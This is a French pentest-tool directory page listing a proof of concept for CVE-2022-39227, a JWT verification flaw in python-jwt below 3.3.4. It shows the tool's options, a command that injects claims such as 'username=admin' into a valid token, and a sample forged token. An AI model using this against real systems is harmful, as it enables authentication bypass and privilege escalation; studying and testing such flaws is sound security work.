Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-39227 — CVE-2022-39227 : Preuve de concept | Kitploit
Outils/GitHubGitHub/user0x1337/cve-2022-39227
Génération de PayloadsAnalyse des VulnérabilitésExploitationSécurité WebCTFAuthentification
GitHubuser0x1337/cve-2022-39227

CVE-2022-39227

CVE-2022-39227 : Preuve de concept

Voir le dépôt
2212il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-39227

CVE-2022-39227 : Preuve de concept

Preuve de concept pour le CVE-2022-39227. Selon cette CVE, il existe une faille dans la vérification des JSON Web Tokens. Il est possible, avec un token valide, de réutiliser sa signature avec des revendications modifiées.

Requis :

  1. Un JSON Web Token valide.
  2. Le backend doit utiliser la bibliothèque python "python-jwt" dans une version < 3.3.4

Pour faciliter l'utilisation, j'ai écrit un PoC simple lors d'un CTF :

root@kitploit:~
usage: CVE-2022-39227-PoC [-h] -j TOKEN -i CLAIM

Proof of Concept for the JWT verification bug in python-jwt version < 3.3.4

options:
  -h, --help            show this help message and exit
  -j TOKEN, --jwt_token TOKEN
                        Original and valid JWT Token returned by the application
  -i CLAIM, --injected_claim CLAIM
                        Inject claim using the form "key=value", e.g. "username=admin". Use "," for more claims
                        (e.g. username=admin,id=3)

Utilisation :

python3 cve_2022_39227.py -j <JWT-WEBTOKEN> -i "<KEY>=<VALUE>"

Retourne :

root@kitploit:~
{"  <SNIP>":"","protected":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"<SNIP>","signature":"18-caQyY-mnreIUb53kk5qI-axRoxSzQKyT033yOdUw"}

La valeur de retour est un mélange de JSON et de représentation compacte. Vous devez coller la valeur entière, y compris "{" et "}" comme votre nouveau JSON Web Token.

Télécharger l’outil